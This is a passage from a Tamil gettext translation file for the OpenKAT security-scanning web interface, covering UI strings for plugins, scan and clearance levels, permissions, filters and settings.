reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Input objects\"\nmsgstr \"உள்ளீட்டு பொருள்கள்\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Show all objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"No filters applied\"\nmsgstr \"வடிப்பான்கள் எதுவும் பயன்படுத்தப்படவில்லை\"\n\n#: crisis_room/templates/partials/report_section_action_button.html\nmsgid \"Add section to dashboard\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"\"\n\"The KATalogus has an unexpected error. Check the logs for further details.\"\nmsgstr \"\"\n\"கட்டாலோகச் எதிர்பாராத பிழையைக் கொண்டுள்ளது. மேலும் விவரங்களுக்கு பதிவுகளை சரிபார்க்கவும்.\"\n\n#: katalogus/client.py\n#, python-format\nmsgid \"An HTTP %d error occurred. Check logs for more info.\"\nmsgstr \"ஒரு HTTP %d பிழை ஏற்பட்டது. மேலும் தகவலுக்கு பதிவுகளை சரிபார்க்கவும்.\"\n\n#: katalogus/client.py\nmsgid \"An HTTP error occurred. Check logs for more info.\"\nmsgstr \"ஒரு HTTP பிழை ஏற்பட்டது. மேலும் தகவலுக்கு பதிவுகளை சரிபார்க்கவும்.\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this name already exists.\"\nmsgstr \"இந்த பெயருடன் போஃப்சே ஏற்கனவே உள்ளது.\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this ID already exists.\"\nmsgstr \"இந்த ஐடியுடன் போஃப்சே ஏற்கனவே உள்ளது.\"\n\n#: katalogus/client.py\nmsgid \"Access to resource not allowed\"\nmsgstr \"வளத்திற்கான அணுகல் அனுமதிக்கப்படவில்லை\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to see plugin settings\"\nmsgstr \"சொருகி அமைப்புகளைக் காண பயனருக்கு இசைவு இல்லை\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to set plugin settings\"\nmsgstr \"சொருகி அமைப்புகளை அமைக்க பயனர் அனுமதிக்கப்படவில்லை\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to delete plugin settings\"\nmsgstr \"சொருகி அமைப்புகளை நீக்க பயனர் அனுமதிக்கப்படவில்லை\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to view plugin settings\"\nmsgstr \"சொருகி அமைப்புகளைக் காண பயனருக்கு இசைவு இல்லை\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to access the other organization\"\nmsgstr \"மற்ற நிறுவனத்தை அணுக பயனர் அனுமதிக்கப்படவில்லை\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to enable plugins\"\nmsgstr \"செருகுநிரல்களை இயக்க பயனர் அனுமதிக்கப்படவில்லை\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to disable plugins\"\nmsgstr \"செருகுநிரல்களை முடக்க பயனர் அனுமதிக்கப்படவில்லை\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to create plugins\"\nmsgstr \"செருகுநிரல்களை உருவாக்க பயனர் அனுமதிக்கப்படவில்லை\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to edit plugins\"\nmsgstr \"செருகுநிரல்களைத் திருத்த பயனர் அனுமதிக்கப்படவில்லை\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Show all\"\nmsgstr \"அனைத்தையும் காட்டு\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enabled\"\nmsgstr \"இயக்கப்பட்டது\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Disabled\"\nmsgstr \"முடக்கப்பட்டது\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Enabled-Disabled\"\nmsgstr \"இயக்கப்பட்ட-மாற்றப்பட்ட\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Disabled-Enabled\"\nmsgstr \"முடக்கப்பட்ட-இயக்கப்பட்ட\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Filter options\"\nmsgstr \"வடிகட்டி விருப்பங்கள்\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Sorting options\"\nmsgstr \"வரிசையாக்க விருப்பங்கள்\"\n\n#: katalogus/forms/plugin_settings.py\nmsgid \"This field is required.\"\nmsgstr \"இந்த புலம் தேவை.\"\n\n#: katalogus/templates/about_plugins.html\n#: katalogus/templates/partials/plugins_navigation.html\nmsgid \"About plugins\"\nmsgstr \"செருகுநிரல்கள் பற்றி\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/katalogus.html\nmsgid \"\"\n\"Plugins gather data, objects and insight. Each plugin has its own focus area \"\n\"and strengths and may be able to work with other plugins to gain even more \"\n\"insights.\"\nmsgstr \"\"\n\"செருகுநிரல்கள் தரவு, பொருள்கள் மற்றும் நுண்ணறிவு ஆகியவற்றை சேகரிக்கின்றன. ஒவ்வொரு \"\n\"சொருகி அதன் சொந்த கவனம் பகுதி மற்றும் பலங்களைக் கொண்டுள்ளது, மேலும் நுண்ணறிவுகளைப் பெற \"\n\"மற்ற செருகுநிரல்களுடன் வேலை செய்ய முடியும்.\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/boefjes.html\nmsgid \"\"\n\"Boefjes are used to scan for objects. They detect vulnerabilities, security \"\n\"issues, and give insight. Each boefje is a separate scan that can run on a \"\n\"selection of objects.\"\nmsgstr \"\"\n\"பொருள்களை ச்கேன் செய்ய போஃப்செச் பயன்படுத்தப்படுகிறது. அவை பாதிப்புகள், பாதுகாப்பு \"\n\"சிக்கல்களைக் கண்டறிந்து, நுண்ணறிவைக் கொடுக்கும். ஒவ்வொரு போஃப்சேவும் ஒரு தனி ச்கேன் ஆகும், \"\n\"இது பொருள்களின் தேர்வில் இயங்க முடியும்.\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/normalizers.html\nmsgid \"\"\n\"Normalizers analyze the information and turn it into objects for the data \"\n\"model in Octopoes.\"\nmsgstr \"\"\n\"இயல்பான மருந்துகள் தகவல்களை பகுப்பாய்வு செய்து ஆக்டோபோக்களில் உள்ள தரவு மாதிரிக்கான \"\n\"பொருள்களாக மாற்றுகின்றன.\"\n\n#: katalogus/templates/about_plugins.html\nmsgid \"\"\n\"Bits are business rules that look for insight within the current dataset and \"\n\"search for specific insight and draw conclusions.\"\nmsgstr \"\"\n\"பிட்கள் என்பது தற்போதைய தரவுத்தொகுப்பில் உள்ள நுண்ணறிவைத் தேடும் வணிக விதிகள் மற்றும் \"\n\"குறிப்பிட்ட நுண்ணறிவைத் தேடி முடிவுகளை எடுக்கின்றன.\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan level\"\nmsgstr \"ச்கேன் நிலை\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\nmsgid \"Consumes\"\nmsgstr \"நுகரும்\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to scan the following object types:\"\nmsgstr \"%(plugin_name)s பின்வரும் பொருள் வகைகளை ச்கேன் செய்ய முடியும்:\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s does not need any input objects.\"\nmsgstr \"%(plugin_name)s எந்த உள்ளீட்டு பொருள்களையும் தேவையில்லை.\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Produces\"\nmsgstr \"விளைவாக்கம் செய்கிறது\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#, python-format\nmsgid \"%(plugin_name)s can produce the following output:\"\nmsgstr \"%(plugin_name)s பின்வரும் வெளியீட்டை உருவாக்க முடியும்:\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s doesn't produce any output mime types.\"\nmsgstr \"%(plugin_name)s எந்த வெளியீட்டு மைம் வகைகளையும் உருவாக்காது.\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje variant setup\"\nmsgstr \"போஃப்சே மாறுபாடு அமைப்பு\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/ooi_edit.py rocky/views/organization_edit.py\nmsgid \"Edit\"\nmsgstr \"தொகு\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje setup\"\nmsgstr \"போஃப்சே அமைப்பு\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"\"\n\"You can create a new Boefje. If you want more information on this, you can \"\n\"check out the <a href=\\\"https://docs.openkat.nl/developer_documentation/\"\n\"development_tutorial/creating_a_boefje.html\\\">documentation</a>.\"\nmsgstr \"\"\n\"நீங்கள் ஒரு புதிய போஃப்சேவை உருவாக்கலாம். இதைக் குறித்த கூடுதல் தகவல்களை நீங்கள் \"\n\"விரும்பினால், நீங்கள் <a href=\\\"https://docs.openkat.nl/developer_documentation/\"\n\"development_tutorial/creating_a_boefje.html\\\"> ஆவணங்கள் </a> ஐப் பார்க்கலாம்.\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Save changes\"\nmsgstr \"மாற்றங்களைச் சேமிக்கவும்\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard changes\"\nmsgstr \"மாற்றங்களை நிராகரிக்கவும்\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create variant\"\nmsgstr \"மாறுபாட்டை உருவாக்கவும்\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard variant\"\nmsgstr \"மாறுபாட்டை நிராகரிக்கவும்\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create new Boefje\"\nmsgstr \"புதிய போஃப்சேவை உருவாக்கவும்\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard new Boefje\"\nmsgstr \"புதிய போஃப்சேவை நிராகரிக்கவும்\"\n\n#: katalogus/templates/boefjes.html\nmsgid \"Add Boefje\"\nmsgstr \"போஃப்சே சேர்க்கவும்\"\n\n#: katalogus/templates/boefjes.html katalogus/templates/katalogus.html\n#: katalogus/templates/normalizers.html\nmsgid \"available\"\nmsgstr \"கிடைக்கிறது\"\n\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"scan level warning\"\nmsgstr \"நிலை எச்சரிக்கை ச்கேன்\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"%(plugin_name)s will only scan objects with a corresponding clearance level \"\n\"of <strong>L%(scan_level)s</strong> or higher.\"\nmsgstr \"\"\n\"%(plugin_name)s <strong> எல்%(scan_level)s </strong> அல்லது அதற்கு மேற்பட்டவற்றுடன் \"\n\"தொடர்புடைய இசைவு அளவைக் கொண்ட பொருட்களை மட்டுமே ச்கேன் செய்யும்.\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Scan object\"\nmsgstr \"பொருளை ச்கேன் செய்யுங்கள்\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"The following objects are not yet cleared for level %(scan_level)s, please \"\n\"be advised that by continuing you will declare a level %(scan_level)s on \"\n\"these objects.\"\nmsgstr \"\"\n\"நிலை %(scan_level)s ஆகியவற்றிற்கு பின்வரும் பொருள்கள் இன்னும் அழிக்கப்படவில்லை, \"\n\"தயவுசெய்து இந்த பொருள்களில் ஒரு நிலை %(scan_level)s ஐ அறிவிப்பீர்கள் என்று தயவுசெய்து \"\n\"அறிவுறுத்துங்கள்.\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected objects\"\nmsgstr \"தேர்ந்தெடுக்கப்பட்ட பொருள்கள்\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html rocky/views/mixins.py\nmsgid \"Object\"\nmsgstr \"பொருள்\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Are you sure you want to scan anyways?\"\nmsgstr \"நீங்கள் எப்படியும் ச்கேன் செய்ய விரும்புகிறீர்களா?\"\n\n#: katalogus/templates/change_clearance_level.html\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Scan\"\nmsgstr \"ச்கேன்\"\n\n#: katalogus/templates/clone_settings.html\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone settings\"\nmsgstr \"நகலி அமைப்புகள்\"\n\n#: katalogus/templates/clone_settings.html\n#, python-format\nmsgid \"\"\n\"Use the form below to clone the settings from \"\n\"<strong>%(current_organization)s</strong> to the selected organization. This \"\n\"includes both the KAT-alogus settings as well as enabled and disabled \"\n\"plugins.\"\nmsgstr \"\"\n\"தேர்ந்தெடுக்கப்பட்ட நிறுவனத்திற்கு <strong>%(current_organization)s </strong> \"\n\"இலிருந்து அமைப்புகளை நகலி செய்யக் கீழே உள்ள படிவத்தைப் பயன்படுத்தவும். இது கேட்-அலோகச் \"\n\"அமைப்புகள் மற்றும் இயக்கப்பட்ட மற்றும் முடக்கப்பட்ட செருகுநிரல்கள் இரண்டையும் உள்ளடக்கியது.\"\n\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone\"\nmsgstr \"நகலி\"\n\n#: katalogus/templates/katalogus.html\nmsgid \"All plugins\"\nmsgstr \"அனைத்து செருகுநிரல்களும்\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"KAT-alogus settings\"\nmsgstr \"கேட்-அலோகச் அமைப்புகள்\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"\"\n\"There are currently no settings defined. Add settings at the plugin detail \"\n\"page.\"\nmsgstr \"\"\n\"தற்போது அமைப்புகள் வரையறுக்கப்படவில்லை. சொருகி விவரம் பக்கத்தில் அமைப்புகளைச் சேர்க்கவும்.\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Go back\"\nmsgstr \"திரும்பிச் செல்லுங்கள்\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"This is an overview of the latest settings of all plugins.\"\nmsgstr \"இது அனைத்து செருகுநிரல்களின் அண்மைக் கால அமைப்புகளின் கண்ணோட்டமாகும்.\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"Latest plugin settings\"\nmsgstr \"அண்மைக் கால சொருகி அமைப்புகள்\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"Plugin\"\nmsgstr \"சொருகு\"\n\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_settings_list.html\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Value\"\nmsgstr \"மதிப்பு\"\n\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to process the following mime types:\"\nmsgstr \"%(plugin_name)s பின்வரும் மைம் வகைகளை செயலாக்க முடியும்:\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"This object type is required\"\nmsgstr \"இந்த பொருள் வகை தேவை\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Scan level:\"\nmsgstr \"ச்கேன் நிலை:\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Publisher:\"\nmsgstr \"வெளியீட்டாளர்:\"\n\n#: katalogus/templates/partials/boefje_tile.html\n#: katalogus/templates/partials/plugin_tile.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"See details\"\nmsgstr \"விவரங்களைக் காண்க\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\nmsgid \"Enable\"\nmsgstr \"இயக்கு\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable\"\nmsgstr \"முடக்கு\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Hide filters\"\nmsgstr \"வடிப்பான்களை மறைக்க\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Show filters\"\nmsgstr \"வடிப்பான்களைக் காட்டு\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"applied\"\nmsgstr \"பயன்படுத்தப்பட்டது\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Filter plugins\"\nmsgstr \"செருகுநிரல்களை வடிகட்டவும்\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Clear filter\"\nmsgstr \"தெளிவான வடிகட்டி\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/views/change_clearance_level.py katalogus/views/katalogus.py\n#: katalogus/views/katalogus_settings.py katalogus/views/plugin_detail.py\n#: katalogus/views/plugin_settings_add.py\n#: katalogus/views/plugin_settings_delete.py\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"KAT-alogus\"\nmsgstr \"பட்டியல்\"\n\n#: katalogus/templates/partials/katalogus_header.html\nmsgid \"An overview of all available plugins.\"\nmsgstr \"கிடைக்கக்கூடிய அனைத்து செருகுநிரல்களின் கண்ணோட்டம்.\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/templates/plugin_settings_list.html\n#: katalogus/views/katalogus_settings.py tools/view_helpers.py\n#: rocky/templates/header.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Settings\"\nmsgstr \"அமைப்புகள்\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Gridview\"\nmsgstr \"கிரிட்வியூ\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Tableview\"\nmsgstr \"அட்டவணை பார்வை\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Required for\"\nmsgstr \"தேவை\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"report types\"\nmsgstr \"அறிக்கை வகைகள்\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Report types for \"\nmsgstr \"அறிக்கை வகைகள் \"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"No permission to enable/disable plugins\"\nmsgstr \"செருகுநிரல்களை இயக்க/முடக்க இசைவு இல்லை\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"Contact your administrator to request permission.\"\nmsgstr \"இசைவு கோர உங்கள் நிர்வாகியைத் தொடர்பு கொள்ளுங்கள்.\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"This Boefje will only scan objects with a corresponding clearance level of \"\n\"<strong>L%(scan_level)s</strong> or higher. There is no indemnification for \"\n\"this Boefje to scan an OOI with a lower clearance level than \"\n\"<strong>L%(scan_level)s</strong>. Use the filter to show OOI's with a lower \"\n\"clearance level.\"\nmsgstr \"\"\n\"இந்த போஃப்சே <strong> எல்%(scan_level)s </strong> அல்லது அதற்கு மேற்பட்டவற்றுடன் \"\n\"தொடர்புடைய இசைவு அளவைக் கொண்ட பொருட்களை மட்டுமே ச்கேன் செய்யும். <strong> \"\n\"l%(scan_level)s </strong> ஐ விட குறைந்த இசைவு அளவைக் கொண்ட OOI ஐ ச்கேன் செய்ய இந்த \"\n\"போஃப்சே எந்த இழப்பீடு இல்லை. குறைந்த இசைவு மட்டத்துடன் OOI ஐக் காட்ட வடிகட்டியைப் \"\n\"பயன்படுத்தவும்.\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"Warning scan level:\"\nmsgstr \"எச்சரிக்கை ச்கேன் நிலை:\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"\"\n\"Scanning OOI's with a lower clearance level will result in OpenKAT \"\n\"increasing the clearance level on that OOI, not only for this scan but from \"\n\"now on out, until it manually gets set to something else again. This means \"\n\"that all other enabled Boefjes will use this higher clearance level aswel.\"\nmsgstr \"\"\n\"குறைந்த இசைவு மட்டத்துடன் OOI ஐ ச்கேன் செய்வதன் மூலம் ஓபன் கேட் அந்த OOI இல் இசைவு அளவை \"\n\"அதிகரிக்கும், இந்த ச்கேனுக்கு மட்டுமல்ல, இனிமேல், அது கைமுறையாக வேறு எதையாவது \"\n\"அமைக்கும் வரை. இதன் பொருள், மற்ற அனைத்து இயக்கப்பட்ட போஃப்செசும் இந்த உயர் இசைவு நிலை \"\n\"ASWEL ஐப் பயன்படுத்தும்.\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have any objects that meet the scan level of %(name)s. \"\n\"Add objects with a complying clearance level, or alter the clearance level \"\n\"of existing objects.\"\nmsgstr \"\"\n\"%(name)sேன் அளவை நிறைவு செய்யும் எந்தவொரு பொருளும் உங்களிடம் இல்லை. இணக்கமான இசைவு \"\n\"மட்டத்துடன் பொருட்களைச் சேர்க்கவும் அல்லது இருக்கும் பொருட்களின் இசைவு அளவை மாற்றவும்.\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have scannable objects for %(name)s. Add objects to use \"\n\"this Boefje. This Boefje is able to scan objects of the following types:\"\nmsgstr \"\"\n\"உங்களிடம் தற்போது %(name)s ச்கேன் செய்யக்கூடிய பொருள்கள் இல்லை. இந்த போஃப்சேவைப் பயன்படுத்த \"\n\"பொருட்களைச் சேர்க்கவும். இந்த போஃப்சே பின்வரும் வகைகளின் பொருள்களை ச்கேன் செய்ய முடியும்:\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"The form could not be initialized.\"\nmsgstr \"படிவத்தை துவக்க முடியவில்லை.\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"Required settings\"\nmsgstr \"தேவையான அமைப்புகள்\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Add\"\nmsgstr \"கூட்டு\"\n\n#: katalogus/templates/partials/plugin_tile.html\nmsgid \"Required for:\"\nmsgstr \"இதற்கு தேவை:\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Boefje details\"\nmsgstr \"போஃப்சே விவரங்கள்\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html reports/forms.py\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report types\"\nmsgstr \"அறிக்கை வகைகள்\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"This boefje is required by the following report types.\"\nmsgstr \"இந்த போஃப்சே பின்வரும் அறிக்கை வகைகளால் தேவைப்படுகிறது.\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Go to boefje detail page\"\nmsgstr \"போஃப்சே விவரம் பக்கத்திற்குச் செல்லவும்\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Plugins overview:\"\nmsgstr \"செருகுநிரல்கள் கண்ணோட்டம்:\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin name\"\nmsgstr \"சொருகி பெயர்\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin type\"\nmsgstr \"சொருகி வகை\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin description\"\nmsgstr \"சொருகி விளக்கம்\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/partials/report_header.html\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Actions\"\nmsgstr \"செயல்கள்\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Detail page\"\nmsgstr \"விவரம் பக்கம்\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Plugins Navigation\"\nmsgstr \"செருகுநிரல்கள் வழிசெலுத்தல்\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Boefjes\"\nmsgstr \"வஞ்சகர்கள்\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Normalizers\"\nmsgstr \"இயல்பானவை\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: tools/forms/scheduler.py\nmsgid \"All\"\nmsgstr \"அனைத்தும்\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Container image\"\nmsgstr \"கொள்கலன் படம்\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The container image for this Boefje is:\"\nmsgstr \"இந்த போஃப்சேவுக்கான கொள்கலன் படம்:\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Variants\"\nmsgstr \"மாறுபாடுகள்\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"Boefje variants that use the same container image. For more information \"\n\"about Boefje variants you can read the documentation.\"\nmsgstr \"\"\n\"ஒரே கொள்கலன் படத்தைப் பயன்படுத்தும் போஃப்சே வகைகள். போஃப்சே வகைகளைப் பற்றிய கூடுதல் \"\n\"தகவலுக்கு நீங்கள் ஆவணங்களைப் படிக்கலாம்.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Add variant\"\nmsgstr \"மாறுபாட்டைச் சேர்க்கவும்\"\n\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"confirmation\"\nmsgstr \"உறுதிப்படுத்தல்\"\n\n#: katalogus/templates/plugin_container_image.html\n#, python-format\nmsgid \"Variant %(plugin.name)s created.\"\nmsgstr \"மாறுபாடு %(plugin.name)s உருவாக்கப்பட்டது.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The Boefje variant is successfully created and can now be used.\"\nmsgstr \"போஃப்சே மாறுபாடு வெற்றிகரமாக உருவாக்கப்பட்டது, இப்போது பயன்படுத்தலாம்.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Overview of variants\"\nmsgstr \"மாறுபாடுகளின் கண்ணோட்டம்\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/plugin_overview_table.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Status\"\nmsgstr \"நிலை\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Age\"\nmsgstr \"அகவை\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan interval\"\nmsgstr \"வருடு இடைவெளி\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Run on\"\nmsgstr \"இயக்கவும்\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"current\"\nmsgstr \"மின்னோட்ட்ம், ஓட்டம்\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\nmsgid \"minutes\"\nmsgstr \"நிமிடங்கள்\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Default system scan frequency\"\nmsgstr \"இயல்புநிலை கணினி ச்கேன் அதிர்வெண்\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Boefje ID\"\nmsgstr \"போஃப்சே ஐடி\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Creation date\"\nmsgstr \"உருவாக்கும் தேதி\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Arguments\"\nmsgstr \"வாதங்கள்\"\n\n#: 